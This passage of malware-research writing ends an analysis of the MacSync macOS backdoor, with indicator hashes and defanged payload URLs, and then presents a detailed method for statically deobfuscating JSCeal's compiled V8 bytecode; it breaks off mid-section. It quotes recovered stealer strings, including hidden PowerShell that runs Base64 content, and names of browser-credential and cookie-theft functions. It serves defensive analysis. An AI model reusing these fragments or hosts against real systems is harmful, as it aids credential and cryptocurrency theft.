Although the backdoor offers several different commands, they all boil down to the same action: extract the base64-encoded AppleScript script from the script_b64 field in the server’s response and execute it. Individual command handlers then act as wrappers around the scripts, correctly populating telemetry and sending requests to the C2 server. Based on the command names and the messages sent to the server during their execution, we can reconstruct their purpose without having the scripts on hand. The backdoor supports the following commands:

  • deploy_ext: deploy an extension downloaded from the server into the victim’s browser.
  • deploy_ledger: replace the installed Ledger wallet with the version from the server.
  • regrab: collect system information and/or specific files again. This time, the collected data is packaged into an archive typical for the MacSync family, at /tmp/osalogging.zip, unless a different path is specified in the archive_path field sent along with the command.
  • live_browser: the only command executed without an AppleScript script. The backdoor checks for the presence of the sn_relay file among its resources, and if it’s not found, downloads and executes it. Its content and purpose remain a mystery to us, but based on the command name and the messages sent to the server, we can assume that the attackers somehow implement a MitM attack on traffic originating from the victim’s browser.
The section of the regrab command where the archive's integrity is verified and its hash is calculated before it is sent

The section of the regrab command where the archive’s integrity is verified and its hash is calculated before it is sent

Takeaways

The new version of the MacSync infostealer differs quite significantly from its previously observed variants. The attackers have substantially overhauled their approach to executing the stealer’s and backdoor’s main malicious payload, moving from AppleScripts to full-fledged executable files written in Swift and Objective-C. It’s also worth noting the more complex infection chain: instead of obfuscated shell scripts delivered through ClickFix attacks, this version used binary droppers and loaders, some of which leveraged Apple’s infrastructure as one of the intermediate stages for delivering the malicious payload.

The nature of the data attackers seek to collect from a victim’s device, as well as the categories of applications the stealer disguises itself as, clearly indicates that this malware family primarily targets developers, crypto enthusiasts, and other users associated in some way with IT and the crypto space. MacSync’s compromise of software developers’ devices poses particular security risks for both end users and corporate systems, opening up expanded opportunities for attackers to further their intrusion.

Indicators of compromise

Stage one loader
26a0f7cdb9f7dc5ace9a40af825b1538
2d69812584269699fade26622e6490c5
7df1049cbd56c0bfa4a3364a379b4c2c
9f15fe9c4415cd668334339f705b94d8
fb90887592655a8c989e443c640167aa
6791dad263cac6d63ebba6a4b57e7d71

Malicious calendar (stage two)
3ded1d71a822b53b12c3b67bcaf633f5

Stage three dropper
781ce50001d4b449600afa347c9b0208
8e84b01d5ac9624f0b181ade0e737193
980e2134679bc0c609f7659882883d77
4203ec932bfcc0907f91732440d6d997
eb760d5c88f13f7ee0f8f86ba3407123
f9f70096aabb4d22a6657014f4853a53

Stage four dropper
3deeed48fd38f22e369f5c3092bd68a1

Stage five script
f97d24212fa6a21be0c4d211e10f044c

Stage six script
00d12d842596bf5ee1805effb4571d30
9a0043d900a9ac78c886c59c9a328fd0

Auxiliary .repair-run script
7212229c85852c3bffaf9740002b2f39

Infostealer
c53d0ea45dbc622afb7f16ea3eec78bc

Backdoor
fc3ba5ed282d77127efd0b0f2403531b

Auxiliary autorun tool
8dc8561349d144d4661bc66f2ec49f9f

URL
hxxps://toria[.]app/
hxxps://warpcast[.]asia/Toria.dmg
hxxps://streamyard.appstore.com[.]mx/installer.sh
hxxps://slack.apple03cloudstore[.]com/installer.sh
hxxps://toria.apple03cloudstore[.]com/
hxxps://waaako.appstore.com[.]mx/installer.sh
hxxps://toria.apple03cloudstore[.]com/e3c1a6b00bc31e14/stage2.enc hxxps://docsend.appstore.com[.]mx/dcc737d157ef4271/stage2.enc
hxxps://docsend.appstore.com[.]mx/dcc737d157ef4271/CoreUpdate.pkg.enc
hxxps://docsend.appstore.com[.]mx/dcc737d157ef4271/Helper.pkg.enc
hxxps://caldav.icloud[.]com/published/2/MTk1NDMwMDMzNTUxOTU0M1aHCZ-nMxiyGzBTzPiodOf44DtKJ6PpjftAG28_ui2NCYMpL_vu4pF4ddsJ8ysg0QI7pR0VEIEbZYdilVZRw08
hxxps://gateway.icloud[.]com/caldav/1_MTk1NDMwMDMzNTUxOTU0M0pybtJB186GzhogprwCQUjY3oZNiDFHH8WVo6bmgUtI/attach/4GE4TKNBTGAYDGMZVGUYTSNJUGOAALDAFMDOJBGWNUCYJLZRNDCLCO2YMQ3I64RLGMNXVG3KYBPWQOGYIEI7MPBDDYHECFDYVENTXIYFNDCPOVRMCTYI236RCYZAE63V5U3RTUYGUMO2CO7PKCLWMCXE73M7OPTHSGRWH5DXQ4PCUQU4ELZTLW54JSTK2H7VQ6PD26WOA2R7PPIQ6RTJWDEWP34U3HB4YWMXXC6EJ6PKWILSPYRSDEVY6QGMWSIUN6PR5W35KO3D4QZE7CFPUVBAEKI/Loader.app.tar.gz/YXR0YWNoYXR0YWNoYXR0YRhrE8mQ0E-b_dTUSGStQgTQ0ULFxCanei3Ke-EuEyQL

C2
hxxps://docsend.appstore[.]com[.]mx
hxxps://toria.apple03cloudstore[.]com

  •  

Breaking the Seal: Static Deobfuscation of JSCeal’s Compiled V8 Bytecode

Research by: hasherezade

Key Points

  • Since early 2025, Check Point Research has been tracking JSCeal, a sophisticated cryptocurrency-focused stealer with broader credential-theft, surveillance, and traffic-interception capabilities, delivered as compiled V8 bytecode (JSC files).
  • The payloads are protected with javascript-obfuscator, using multiple techniques including RC4-protected strings, control-flow flattening, proxy functions, and operation wrappers.
  • Our goal was to recover the code to a level that enables detailed analysis, comparison between samples, and tracking of the malware’s evolution.
  • CPR developed a fully static deobfuscation pipeline that transforms View8 pseudocode without executing the malware. An optional LLM-assisted renaming stage can then be used to make large, recovered codebases easier to navigate.
  • The complete toolkit is publicly available at jsc_deobfuscator.
  • The deobfuscated output enabled detailed analysis of JSCeal’s capabilities and their implementation, including keylogging, browser and credential theft, and HTTPS traffic interception through a local MITM proxy.
  • We presented this research at Black Hat USA 2026. This article complements the talk by documenting the methodology in greater technical depth and providing additional examples and implementation details.
  • We conclude with a brief look at more recent JSCeal developments, including V8 code caches generated for a newer Node.js/V8 version, an additional payload-encryption layer, and macOS targeting.

Introduction

JSCeal is a stealer delivered as compiled V8 bytecode (.jsc) and executed by a bundled Node.js runtime, targeting cryptocurrency applications (other vendors also tag it with the names WEEVILPROXY or MeadowLocust). Its campaign activity dates back to March 2024 [1]; Check Point Research has been tracking the malware since early 2025. Our previous publication from July 2025 [1] focused on the campaigns, delivery chain, and targeting. In this article, we focus on the analysis problem hidden inside the final payload.

Unlike ordinary JavaScript malware, JSCeal reaches the analyst after two transformations have already removed much of the information that source-oriented tools depend on. First, the JavaScript is heavily obfuscated. Then it is compiled into V8’s internal bytecode representation and shipped as cached data rather than source code. The resulting format is version-specific, poorly served by mature reverse-engineering tooling, and unsuitable for most standard JavaScript deobfuscation workflows.

From the attacker’s perspective, this combination is attractive because it is inexpensive to produce. Node.js and its package ecosystem provide ready-made building blocks for complex applications, while public tools such as javascript-obfuscator [6] can add several layers of source-level obfuscation before compilation. The analyst receives only the compiled artifact.

In 2024, our colleague Moshe Marelus published View8, an open-source decompiler for V8 bytecode [2]. We used it as the foundation for a static deobfuscation pipeline tailored to the patterns found in JSCeal. During this work, we extended View8 [3] to make its output reproducible and suitable for automated post-processing, and implemented dedicated passes for value propagation, string reconstruction, control-flow unflattening, proxy and operation-wrapper resolution, and additional cleanup.

The goal is not perfect source recovery — V8 compilation is lossy, and the output of decompilation remains pseudocode. Instead, we aimed to recover enough structure and semantics to read the malware as code again: follow its logic, compare samples, locate capability branches, and validate behavior against concrete strings, APIs, paths, and data flow.

Later in the article, we use one selected JSCeal payload as a case study and walk through portions of the recovered code, including browser and cryptocurrency theft, keylogging, screenshot capture, and a local HTTPS interception proxy.

Distributed payloads

Let’s start by understanding the role of the JSC files in the whole attack chain.

The payloads were delivered in campaigns that began with malvertising and were followed by multiple PowerShell scripts. The complete flow is illustrated below:

Figure 1 - The final stage infection flow (image first presented in [1])
Figure 1 – The final stage infection flow (image first presented in [1])

The last stage consists of two ZIP archives downloaded by PowerShell:

  • node.zip – a packaged Node.js runtime
  • build.zip, containing the final payload and supporting components:
    • winpty-agent.exe – an agent for a hidden Windows console (open source)
    • winpty.dll – a module that allows interaction with the hidden console (open source)
    • app.jsc – The JSCeal malware payload
    • preflight.js – a decompression script
    • Native .node modules (PE format) used by the payload

The final JSC payload is distributed in Brotli-compressed [5] form and decompressed by preflight.js.

The loading is triggered by the last PowerShell script in the chain, containing the command line:

.\node.exe -r .\preflight.js .\app.jsc (the option -r forces Node to run a JS file before loading the main module).

The size and complexity of the JSC payloads varied. They were all obfuscated with the same open-source obfuscator [6].

Analysis methodology

While typical analysis procedures were sufficient for the earlier stages, the final JSC payload remained challenging. Because it was delivered as a V8 code cache rather than JavaScript source, conventional source-level JavaScript instrumentation was not directly applicable. Native-level hooking and dynamic binary instrumentation (DBI) could reveal process and API activity, but did not recover the payload’s JavaScript-level semantics at a useful level. Sandbox execution therefore provided mainly low-level system-interaction telemetry. To understand the payload’s logic, we turned to static analysis, which required deobfuscation.

Since the JSC payload is Brotli-compressed, the first step is to remove this layer. This yields the V8 code cache, which can then be supplied to a compatible disassembler. The disassembled output is then passed to the View8-based pipeline, which includes decompilation and transformation by multiple deobfuscation passes. Each pass can be used as a self-contained script. To support modularity, we extended View8 with pickle serialization of its internal object graph. We also added function-level visibility controls and metadata annotations (details in Appendix A).

Figure 2 - the pipeline demonstrating steps applied to the original JSC sample
Figure 2 – the pipeline demonstrating steps applied to the original JSC sample

Our toolkit is publicly available at https://github.com/hasherezade/jsc_deobfuscator [7]

The following flowchart describes the major steps of the pipeline; details of each follow in subsequent sections.

Figure 3 - the flowchart of the deobfuscation pipeline
Figure 3 – the flowchart of the deobfuscation pipeline

We applied the pipeline to 23 JSCeal payloads collected over several months (Appendix B); it produced analyzable output in all cases.

Environment Setup

The toolkit used for the main body of this research was developed on Linux.

The JSCeal generation analyzed in depth in this research used a bundled Node.js runtime based on V8 10.2.154.26-node.25. The distributed app.jsc was Brotli-compressed; after decompression, the resulting file was a V8 code cache that could be supplied to a compatible disassembler.

V8 cached data is version-sensitive, so before decompilation we first need to obtain a correct bytecode listing. We followed the general approach used by the View8 fork from j4k0xb [4]: build the corresponding V8 version, apply the required patches, and use a small program based directly on the V8 API to consume the cache.

During this process, we encountered a bug in the original V8 code that caused a string-printing problem and corrupted some disassemblies containing wide characters. It passed a 16-bit code unit through byte-oriented printable-character handling, which could inject malformed output into string literals and break View8 downstream. We patched the printer so that printable ASCII remains literal, byte-sized non-printable values use \xNN, and wider values are emitted as \uNNNN. The patch is included in the public repository [9], and the complete build procedure is documented on the project Wiki [10].

The released toolkit contains both the disassembler source and the V8 patches required for the supported generation. A prebuilt Linux disassembler is also distributed with the project [7] release.

Decompiled output

Once we have the correct disassembly, we can proceed with decompilation. However, there are some details to keep in mind.

View8 does not reconstruct the original JavaScript source. It lifts V8 bytecode into pseudocode that reflects its underlying execution model.

Recovered functions are represented in a form such as:

function func_[name]_0x[disassembly_address]([arguments_list])

The entry point is a function labeled start, for example: func_start_0x323d9daddcd9.

In ordinary View8 output, the hexadecimal suffix is derived from address values emitted during disassembly. Because these values may differ between runs, our modified View8 can normalize function identifiers deterministically based on parse order. This makes the results reproducible (details: Appendix A).

The pseudocode follows the underlying V8 concepts rather than ordinary JavaScript local-variable names. Each function can make use of its arguments, the accumulator, and a set of local virtual registers. It also has access to its own constant pool, global variables, and context storage exposed through Scope. Function arguments are represented as a0 to aN, while local virtual registers are printed as r0 to rN. ACCU denotes the current V8 accumulator value.

Functions can declare nested functions and share values with them through their surrounding context. In View8, these relationships are visible through the declarer hierarchy and Scope[...] references. Values placed into a scope by a declarer function may later be consumed by nested functions. Reconstructing those relationships is essential for JSCeal because the obfuscator frequently moves constants, decoder offsets, proxy references, and dictionary objects through scope rather than keeping them local.

As the root of the function hierarchy, the start function is the only function without a declarer. The start function also initializes the global bindings used throughout the program. In raw View8 output this is visible through DeclareGlobals, for example:

ACCU = DeclareGlobals(["oQ", "kg", "xQ", func_yz_0x323d9daeb509, 893, [...] ])

For readability, our modified View8 marks global identifiers explicitly with a global_ prefix. The prefix prevents collisions with local register notation and makes later propagation easier to follow.

Since the original JavaScript was obfuscated before compilation, the View8 output contains artifacts introduced by the obfuscator, making the recovered pseudocode considerably harder to interpret. A detailed explanation of each obfuscation layer and the applied countermeasures is provided later in this article.

For example, a single function from a JSCeal payload decompiled by View8 looks like this:

function func_unknown_0x398fa079bb71(a0)
{
    r2 = Scope[19][74][func_Ht_0x398fa0799da9(136760, "ZCe3")]
    r2 = r2(a0)
    r3 = func_Ht_0x398fa0799da9(57973, "Vbp&")
    r3 = (r3 + func_Ht_0x398fa0799da9(194117, "Af5z"))
    r3 = (r3 + func_Ht_0x398fa0799da9(86681, "XDjZ"))
    r1 = r2[(r3 + func_Ht_0x398fa0799da9(100990, "5Yvr"))]
    r1 = r1()
    r2 = func_Ht_0x398fa0799da9(75831, "b6Sj")
    r0 = r1[(r2 + func_Ht_0x398fa0799da9(49188, "Amc*"))]
    return r0()
}

This is already significant progress compared with the raw bytecode, but the remaining obfuscation still makes most of the output effectively unreadable. The rest of the pipeline progressively removes those layers and transforms the output into pseudocode suitable for practical analysis.

ℹ One syntax detail is worth keeping in mind throughout the article: View8 uses its own pseudocode notation and should not be interpreted as literal JavaScript. For example, an expression such as !r6 === "0" represents the negation of the entire comparison — semantically: r6 !== "0".

Obfuscation layers

The analyzed JSCeal payloads were protected with javascript-obfuscator [6]. Its configuration is highly customizable, and the exact combination varied between samples. Across the corpus, we repeatedly observed four groups of transformations:

  • Renamed identifiers. Function and variable names are replaced with short or nonsensical identifiers.
  • String protection. Important strings are split into chunks and reconstructed through decoder functions. In the dominant variant observed in JSCeal, the stored chunks are encoded and RC4-protected.
  • Control-flow flattening. Selected functions are transformed into state machines whose intended block order is hidden behind a dispatcher.
  • Proxy and operation indirection. Function calls are forwarded through proxy helpers, while simple operations such as addition, subtraction, comparison, or function invocation are wrapped in dedicated helper functions.

The deobfuscation pipeline has to follow a specific order because the result of one pass can expose information required by the next. For example, string deobfuscation reveals not only the text used in the code, but also keys for dictionaries containing variables and function references.

Propagating values

Before we can start peeling away the obfuscation layers, we need to set the stage by propagating the variables used in the code and performing all the necessary simplifications.

Often, functions that we have to parse and resolve are not called directly, but through different variables: globals, scopes, or local registers. A similar problem applies to their arguments. Until we have everything filled and mapped, it won’t be possible to really understand the flow.

Propagating values is non-trivial: it is done in multiple ways, at different layers of the obfuscation process. Demonstrating the full variety used would take too much space, so let’s focus on a few examples. We illustrate with string decryption functions here, but the same propagation logic applies to proxy resolution and operation inlining described later. Details on the actual string deobfuscation are given in the next section, “Reconstructing strings”.

Below is a tiny function used to deobfuscate a chunk of a string. The input argument (a1) is modified by a value passed via Scope.

function func_r_0x24543eceeb91(a0, a1)
{
    r1 = (a1 - Scope[10083][2]["c"])
    return func_mt_0x3120801469(r1, a0)
}

Without knowing the actual value, we won’t be able to do the calculation required for deobfuscation. The scope is filled by a function higher in the declaration hierarchy. Once we find the particular line, we are ready to fill it.

function func_yZ_0x24543ecedfc9(a0)
{
    [...]
    Scope[10083][2] = new {"c": 742}
    [...]

After the substitution, we get:

function func_r_0x24543eceeb91(a0, a1)
{
    r1 = (a1 - 742)
    return func_mt_0x3120801469(r1, a0)
}

In this form, the function is ready to be parsed, and we can see that the value 742 is subtracted from the input argument.

Another problem is that in many parts of the code, calls to interesting functions have their arguments passed via local variables. While parsing a line, it is not immediately clear what arguments are being passed.

In the given example, the function deobfuscating a string chunk, func_r_0x24543eceeb91, is called with two arguments that are passed via dictionaries. We first collect those dictionaries, and then substitute their uses with corresponding values.

Before:

    r0 = new {"c": "SwH7", "n": 84197, "x": "PEKM", "Y": 104422, ...}
    [...]
    r7 = func_r_0x24543eceeb91(r0["c"], r0["n"])
    r7 = (r7 + func_r_0x24543eceeb91(r0["x"], r0["Y"]))

After:

    r7 = func_r_0x24543eceeb91("SwH7", 84197)
    r7 = (r7 + func_r_0x24543eceeb91("PEKM", 104422))

Once those preparations are completed, we are ready to parse the functions and resolve their outputs.

Reconstructing strings

String reconstruction is the first major deobfuscation stage. Strings are valuable artifacts on their own: they expose API names, paths, commands, URLs, object fields, and targeted services. More importantly for this pipeline, they also unlock later transformations. Recovered strings become dictionary keys, property names, and control-flow order sequences used by the unflattening and proxy-resolution passes.

The analyzed samples used two string-obfuscation variants provided by javascript-obfuscator [6]. We implemented [7] a separate pass for each.

The simpler variant, addressed by deobf_str1.py, stores string fragments in an array and retrieves them through an index transformation. It appeared only in an older sample.

The dominant variant, addressed by deobf_str2.py, adds several more layers: encoded string chunks, RC4 encryption, a large family of decoder wrappers, and arithmetic transformations of the chunk index. This is the variant described below.

Details on deobfuscation modes used by each payload are listed in Appendix C.

The string obfuscation rabbit-hole

Let’s take a closer look at how the most common JSCeal string obfuscation is implemented. This is the mode addressed by deobf_str2.py.

Just like in the simplest mode, each string is split into chunks. Then, each chunk is RC4 encrypted with a different key. The resulting content is Base64-encoded. Such obfuscated chunks are accumulated in a single array, stored inside one of the functions, and retrieved from there into a global scope. It is initialized in the start function.

An example of how the function holding the array of chunks may look is given below (keep in mind that the array may contain thousands of elements):

function func_KV_0x18c3e8c9a1c1()
{
    r0 = Scope[0]
    Scope[10824][2] = new ["s8ohWR3dRx8", "ffddSSo6sW", ... ]
}

When the program needs a string, it calls one of many decoder functions. A typical call contains a numeric value and a short RC4 key:

r2 = func_xt_0x274f42c4e909(71692, "%]hf")

The argument order is varied: some decoder functions receive (number, key), while others receive (key, number). The number is used to calculate the index of the chunk to be decrypted, relative to the aforementioned global list. The calculation is done inside the function.

To make things more complex, deobfuscation is done not just by one function, but by many similar instances. The instances may call one another, each one of them adding or subtracting a different value to the input argument. In order to calculate the actual chunk index, we have to follow the whole chain of functions, parse them, and repeat the operations they performed. At the end of the chain there is always a strongly obfuscated parent function that contributes the final operation.

The values used in calculations are not hard-coded in the function but passed via scope (details described in “Propagating values”). Example of a single deobfuscating function:

function func_r_0x7b2a9768611(a0, a1)
{
    r1 = (a1 - Scope[1][2]["V"])
    return func_xt_0x274f42c4e909(r1, a0)
}

In the above case, the index was passed via argument a1. The value retrieved from the scope is first subtracted from it. The result, along with the argument a0 representing the RC4 key, is passed to the next deobfuscation function (func_xt_0x274f42c4e909) which performs similar operations. The chain of similar calls follows multiple layers until it reaches the parent function which adds or subtracts the final value from the index, retrieves the chunk from the global array, and performs the decryption operation.

Recovering the root offset

As mentioned earlier, at the top of the chain of different deobfuscating functions that call one another, there is always an obfuscated parent. Instead of deobfuscating it, we decided to treat it as a black box. Recovering its index shift involves several steps.

The parent functions are the first string decoding functions to be declared, and in the start function, they may be called directly. Just like in the case of their children, two arguments are expected: the RC4 key, and the number used for index calculation.

Once we have found the parent, we track its direct calls and collect the arguments.

We know that the chunk index is obtained by an arithmetic operation (addition or subtraction) on the passed number. We can express it as:

index = arg (+|-) X

The goal is to find the correct X (index shift). Since this value is used to calculate the index of the chunk, the upper bound is the number of chunks in the array (N). We test candidate shifts from 0 to N-1, apply each to the input index, and attempt to decrypt the resulting chunk. If the output looks like a valid string, we treat that X as the index shift candidate.

Conceptually:

for candidate_shift in 0 .. N-1:
    candidate_chunk = array[(input_index + candidate_shift) mod N]
    plaintext = RC4(candidate_chunk, key)

    if plaintext looks plausible:
        keep candidate_shift

A plausible result from a single call is not enough: an invalid chunk can occasionally produce printable text when decrypted with the given key. The implementation therefore requires at least three distinct input/output observations for the same decoder function. It computes the candidate shifts per set, intersects those sets, and accepts the value only when it produces a printable result for each. In all the analyzed payloads this condition was sufficient to find the appropriate index shift.

This can be viewed as a bounded brute-force search. The implementation tests possible index shifts within the string-array length and uses multiple independent calls to eliminate candidates that do not produce consistent printable results.

Once the root configuration is known, the pass propagates the index shift through the collected function graph to the callers, calculating the cumulative index delta applied by each individual decoder.

Overview of the string deobfuscating pass

The string deobfuscation pass requires all arguments to be filled, as described in “Propagating values”. It works in the following steps:

  • Retrieves the start function
  • Searches for the function aggregating obfuscated string chunks. It is always referenced by the start function and can be spotted by a known pattern of the call. Example:
ACCU = func_unknown_0x93e23cef019(func_KV_0x18c3e8c9a1c1, 940600)
  • Follows and parses the function with chunks (in the above case: func_KV_0x18c3e8c9a1c1). Stores the list for further use.
  • Searches all the string decoding functions, recovers the parent index shifts, and calculates the resulting index shift for each decoder function. The input arguments can be arranged in two ways: either Rc4Key, Offset or Offset, Rc4Key – this is recognized and added to the function prototype.
r2 = (r2 + func_xt_0x274f42c4e909(99288, "h^gm")) //Offset, Rc4Key

After the first run, the deobfuscator stores parsed and calculated arguments in a CSV file. If the pass has to be re-run, the list is pre-loaded, which saves time.

Example of the listing (format: function_name,index_shift,is_index_first):

func_xt_0x274f42c4e909,125103,True
func_Et_0x1d8d5672d829,125093,False
func_u_0x3fa27d771f29,125016,True
func_r_0x93e23cf1d91,125126,True
func_n_0x93e23cf22a1,126086,True
...

After all the deobfuscating functions have been resolved, each of their resolved occurrences is replaced with its output value. The deobfuscated chunks are then chained together to form the full string.

-    r5 = func_n_0x34d57d25f3b9(60787, "Bz&S") //"defau"
-    r4 = xF[(r5 + "lt")]
+    r4 = global_xF["default"]
-    r5 = func_n_0x34d57d25f3b9(58819, "5C8Q") // "globa"
-    r5 = (r5 + func_n_0x34d57d25f3b9(17159, "SldQ")) //"lAgen"
-    return r4[(r5 + "t")]
+    return r4["globalAgent"]

After the deobfuscation is completed, the functions responsible for string decoding are no longer needed. Their representation is hidden in the code and not printed in the decompilation output.

Scale and performance

For the 23-sample dataset used in the final measurements [8], the string layer contained approximately:

  • 130,000 encoded chunks on average, with observed values from about 19,000 to 217,000;
  • 10,000 decoder configurations on average, with observed values from about 2,200 to 13,000.

Measured runtime for the string stage was:

mode minimum median maximum
without cache 0.6 min 1.7 min 4.6 min
with cache 0.5 min 1.2 min 3.0 min

After string reconstruction, the output contains both substituted plaintext and a standalone string listing. This is often the first point at which the payload starts exposing concrete artifacts such as commands, registry paths, browser targets, cryptocurrency platforms, and the attacker’s embedded public key.

Artifact overview

In addition to the main output of the pass (which is the decompiled and pickled file), the list of all the strings is dumped as text. It helps quickly give an idea of which functionalities are implemented, and to compare different payloads.

Example – listing of strings extracted from a sample: e27ae65977287bdfb7b0e15fd3603f85.deobf.txt.strings.txt

Among the interesting artifacts, we can find the public key of the attackers:

"\n-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtRdWl/ucoH+ZnVuxHrx2\ncTbwEY2LucyUqEJVl6trmNYaJTFX9qDYA8Z4VOaFO86MHg0cY1mJ8NALzTqDt20C\nlnqYtLEuo0Fqg9pJMhnEb078F31dilgdK+5bK7LgwXps06KQ+Dk7XxaqkbPFa7oZ\n73/q4FhrYEtBxFno0WJla7mq49/W4wJb753WYWTjRMjBKVaUIOtAtGdBp8Li2WX2\nPDqxftDcvT8hJf5H6tMJ3tQRpyHu7ljkwdivamG/labZpzKhijK7BMgrd7251sjh\n7zD6prnafayjK+nfD1dvok7Rd8TV8sa1FK8T0uMmGFdUVGK+X4f45AwNWn8OINLE\nVwIDAQAB\n-----END PUBLIC KEY-----"

There are strings related to deploying hidden PowerShell scripts and running content from a Base64-encoded blob:

"powershell -NoProfile -WindowStyle Hidden -Command \""
"Invoke-Expression ([System.Text.Encoding]::"
".GetString([System.Convert]::FromBase64String($_.unattend.Extensions."

Multiple strings suggest that the malware enumerates installed browsers, and tries to query the saved secrets, cookies, OAuth tokens, and other data:

"iterInstalledBrowsers"
"getCookies"
"application"
"launch"
"values"
"createBrowserContext"
"newPage"
"setCookie"
"getPasswords"
"div[data-identifier=\""
"findInstalledBrowser"
"--user-data-dir="
"--profile-directory="
"withCreateProcessUser"
"user_id"
"oauth_token"
"google"
"saveOAuthToken"
"/oauth2/:version/token?grant_type=authorization_code&client_id="

It also queries all installed applications and targets Telegram accounts:

"listTelegramSessions"
"listInstalledApplications"

To achieve its goals, it uses the capability to spawn additional processes:

"Process exited with code "
spawn

It creates a local proxy server with its own certificate:

"address"
close
"listen"
"127.0.0.1"
"createServer"
pki
rsa
"generateKeyPair"
"createCertificate"
"publicKey"
"serialNumber"
"certificateToPem"

Some strings are fragments of URLs for particular cryptocurrency vaults and are related to checking account balances:

".phantom-labs.vault."
"totalBalanceInUSDT"
"free_margin_usd"
"floating_usd"
"historical_balances_per_asset_category"
"total_usd_market_value"
"customer_account_USDT_balance_available"
"binance"

Many of the deobfuscated strings come from Node.js modules bundled into the payload and give an idea of what functionality to expect.

Comprehensive analysis of all the artifacts is beyond this short overview. You can find the extracted strings from all analyzed samples in the directory with additional materials [8].

Control flow unflattening

Some of the most important functions of the malware are obfuscated using Control Flow Flattening (CFF).

To resolve this layer, we must make sure that all strings are deobfuscated and propagated, because they are crucial for the execution logic. In the listing produced by the previously described filter, we find some strings in the format [number0]|[number1]|[number2]... for example: “3|2|1|0|4”. Such strings denote an order of chunks to be executed.

Typically, CFF is implemented as a state machine. We can see it represented by a while loop. In each iteration of the loop, the number is fetched from the list. This number is further checked against nested if statements, directing to the chunk of code to be executed. In the simplest form, a chunk ends with continue, causing the loop to progress to another case.

Example (from: 03f4e47b9c2283c32bb8f8f042ce6e41):

function func_Mz_0x6035be98311(a0)
{
    r5 = Scope[0]
    r2 = func_r_0x6035be98a69
    Scope[6705][2] = new {"w": 1342}
    r6 = new {"jGBGz": null, "hBPBb": null, "qbyOP": null, "ykkYm": null, "SeAyf": null, "yHrsY": null, "umIdy": null, "RBgqe": null}
    r6["jGBGz"] = "3|2|1|0|4"
    r6["hBPBb"] = func_hBPBb_0x6035be990e9
    r6["qbyOP"] = "wss"
    r6["ykkYm"] = func_ykkYm_0x6035be991e9
    r6["SeAyf"] = func_SeAyf_0x6035be992e9
    r6["yHrsY"] = "https"
    r6["umIdy"] = "http"
    r6["RBgqe"] = "Invalid protocol"
    r1 = r6
    r7 = r1["jGBGz"]
    r6 = r7["split"]
    r3 = r6("|")
    r4 = 0
    while (true)
    {
        r7 = Number(r4)
        r4 = (Number(r4) + 1)
        r6 = r3[r7]
        if (!r6 === "0")
        {
            if (!r6 === "1")
            {
                if (!r6 === "2")
                {
                    if (!r6 === "3")
                    {
                        if (!r6 === "4")
                        {
                            continue
                        }
                        r7 = r1["hBPBb"]
                        r10 = r1["qbyOP"]
                        if (r7(a0, r10))
                        {
                            r7 = global_Tb["default"]
                            return r7["globalAgent"]
                        }
                        continue
                    }
                    r7 = r1["ykkYm"]
                    if (r7(a0, "ws"))
                    {
                        r7 = global_Nb["default"]
                        return r7["globalAgent"]
                    }
                    continue
                }
                r7 = r1["SeAyf"]
                r10 = r1["yHrsY"]
                if (r7(a0, r10))
                {
                    r7 = global_Tb["default"]
                    return r7["globalAgent"]
                }
                continue
            }
            r7 = a0["split"]
            r7 = r7(":")
            a0 = r7[0]
            r7 = r1["hBPBb"]
            r10 = r1["umIdy"]
            if (r7(a0, r10))
            {
                r7 = global_Nb["default"]
                return r7["globalAgent"]
            }
            continue
        }
        r8 = r1["RBgqe"]
        ACCU = Error
        ACCU = Error(r8)
        break
    }
    return undefined
}

We start the deobfuscation by identifying the beginnings and ends of each code chunk. For example, to find the chunk number 0, we first need to identify the if statement that actually checks against the negation of this condition: if (!r6 === "0"). Once we find the statement, we have to skip the body under it (since it is a negation) and find the first closing bracket with the same indentation as the statement itself. This is where the chunk indexed as 0 actually starts.

Once we have all the chunks mapped, we rearrange them by the order defined by the string, adjusting their indentations.

The same function, unflattened:

function func_Mz_0x6035be98311(a0)
{
    r5 = Scope[0]
    r6 = new {"jGBGz": null, "hBPBb": null, "qbyOP": null, "ykkYm": null, "SeAyf": null, "yHrsY": null, "umIdy": null, "RBgqe": null}
    r6["hBPBb"] = func_hBPBb_0x6035be990e9
    r6["qbyOP"] = "wss"
    r6["ykkYm"] = func_ykkYm_0x6035be991e9
    r6["SeAyf"] = func_SeAyf_0x6035be992e9
    r6["yHrsY"] = "https"
    r6["umIdy"] = "http"
    r6["RBgqe"] = "Invalid protocol"
    r1 = r6
    r4 = 0
    r7 = a0["split"]
    r7 = r7(":")
    a0 = r7[0]
    r7 = r1["hBPBb"]
    r10 = r1["umIdy"]
    if (r7(a0, r10))
    {
        r7 = global_Nb["default"]
        return r7["globalAgent"]
    }
    r7 = r1["SeAyf"]
    r10 = r1["yHrsY"]
    if (r7(a0, r10))
    {
        r7 = global_Tb["default"]
        return r7["globalAgent"]
    }
    r7 = r1["ykkYm"]
    if (r7(a0, "ws"))
    {
        r7 = global_Nb["default"]
        return r7["globalAgent"]
    }
    r7 = r1["hBPBb"]
    r10 = r1["qbyOP"]
    if (r7(a0, r10))
    {
        r7 = global_Tb["default"]
        return r7["globalAgent"]
    }
    r8 = r1["RBgqe"]
    ACCU = Error
    ACCU = Error(r8)
    return undefined
}

For the sake of comparison, let’s see it with further deobfuscation filters applied:

function func_Mz_0x6035be98311(a0)
{
    r4 = 0
    r7 = a0["split"]
    r7 = r7(":")
    a0 = r7[0]
    if (a0 === "http")
    {
        return global_Nb["default"]["globalAgent"]
    }
    if (a0 === "https")
    {
        return global_Tb["default"]["globalAgent"]
    }
    if (a0 === "ws")
    {
        return global_Nb["default"]["globalAgent"]
    }
    if (a0 === "wss")
    {
        return global_Tb["default"]["globalAgent"]
    }
    ACCU = Error
    ACCU = Error("Invalid protocol")
    return undefined
}

At this point the function’s intention becomes clear. It performs a lookup that returns the appropriate globalAgent for a given protocol.

The caveats

Sometimes, the chunks of code that are executed in each state are decompiled in a way that makes them difficult to separate cleanly. Let’s take a look at the following example:

while (true) //The dispatcher loop
{
    r15 = Number(r4)
    r4 = (Number(r4) + 1)
    r14 = r3[r15]
    if (!r14 === "0")
    {
            // Other chunks...
            // [...]
    }
    // Chunk 0:
    r15 = r2["Uugef"]
    if (r15(r11, r12))
    {
        ACCU = 0
        continue ///<- this is not the end of the chunk...
    }
    r15 = r2["PgJCU"]
    r17 = r2["LqFvW"]
    r17 = r17(r11, r12)
    if (r15(r17, r5))
    {
        ACCU = 1
        continue ///<- this is not the end of the chunk...
    }
    return -1
    break
